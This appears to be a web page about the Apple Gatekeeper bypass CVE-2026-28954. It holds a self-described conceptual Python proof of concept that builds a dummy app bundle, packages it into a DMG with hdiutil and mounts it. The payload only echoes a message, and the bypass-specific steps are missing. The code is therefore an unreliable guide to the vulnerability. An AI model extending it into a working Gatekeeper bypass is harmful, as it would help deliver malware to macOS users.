CVE-2026-28954 Apple Gatekeeper绕过漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-28954 (Conceptual) This script demonstrates how a malicious disk image might be crafted to test Gatekeeper behavior. Actual exploitation requires specific vulnerability details. """ import os import subprocess def create_malicious_dmg(): # 1. Create a directory structure for the payload payload_dir = "malicious_payload.app" os.makedirs(payload_dir + "/Contents/MacOS", exist_ok=True) # 2. Create a simple malicious executable (dummy) with open(payload_dir + "/Contents/MacOS/drop", "w") as f: f.write("#!/bin/bash\necho 'Gatekeeper Bypassed'") os.chmod(payload_dir + "/Contents/MacOS/drop", 0o755) # 3. Create a basic Info.plist (required for .app) plist_content = """ <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>CFBundleExecutable</key> <string>drop</string> <key>CFBundleIdentifier</key> <string>com.example.malicious</string> </dict> </plist> """ with open(payload_dir + "/Contents/Info.plist", "w") as f: f.write(plist_content) # 4. Package into a DMG (Conceptual command) # Note: Specific flags to trigger the bypass would go here print("[*] Crafting malicious disk image...") try: # This command requires macOS and hdiutil subprocess.run(["hdiutil", "create", "-srcfolder", payload_dir, "CVE-2026-28954_PoC.dmg"], check=True) print("[+] Disk image created: CVE-2026-28954_PoC.dmg") print("[!] Attempting to mount to test bypass...") subprocess.run(["hdiutil", "attach", "CVE-2026-28954_PoC.dmg"]) except FileNotFoundError: print("[-] hdiutil not found. This PoC must be run on macOS.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": create_malicious_dmg()